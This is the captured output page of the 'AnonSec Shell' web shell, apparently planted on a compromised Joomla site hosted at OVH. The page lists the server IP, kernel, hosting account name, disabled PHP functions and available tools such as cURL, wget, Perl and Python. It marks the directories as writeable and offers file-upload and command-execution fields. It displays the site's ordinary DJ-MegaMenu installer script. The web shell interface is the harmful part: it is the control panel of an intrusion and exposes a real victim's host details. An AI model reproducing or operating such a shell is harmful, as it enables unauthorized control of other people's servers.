AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/montpellier/modules/mod_djmegamenu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/montpellier/modules/mod_djmegamenu/script.djmegamenu.php
<?php
// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Factory;
use Joomla\Filesystem\Path;

class Mod_DJMegamenuInstallerScript
{
	/*
	 * $parent is the class calling this method.
	 * $type is the type of change (install, update or discover_install, not uninstall).
	 * preflight runs before anything else and while the extracted files are in the uploaded temp folder.
	 * If preflight returns false, Joomla will abort the update and undo everything already done.
	 */

	function postflight( $type, $parent ) {

		$db = Factory::getDBO();
		$config = Factory::getConfig();

		if($type == 'install') {

			$db->setQuery("UPDATE #__extensions SET enabled=1 WHERE type='plugin' AND element='djmegamenu'");
			$db->execute();
		}

		if($type == 'update') {

			// we need to handle the update server for package here
			require_once(Path::clean(JPATH_ROOT.'/modules/mod_djmegamenu/fields/djupdater.php'));
			JFormFieldDJUpdater::setUpdateServer(DJUPDATER_URL_PRO);

			// disable old update server
			$db->setQuery("UPDATE #__update_sites SET enabled=0 WHERE name='DJ-MegaMenu Package' AND type='extension'");
			$db->execute();
		}

	}
}

Anon7 - 2022
AnonSec Team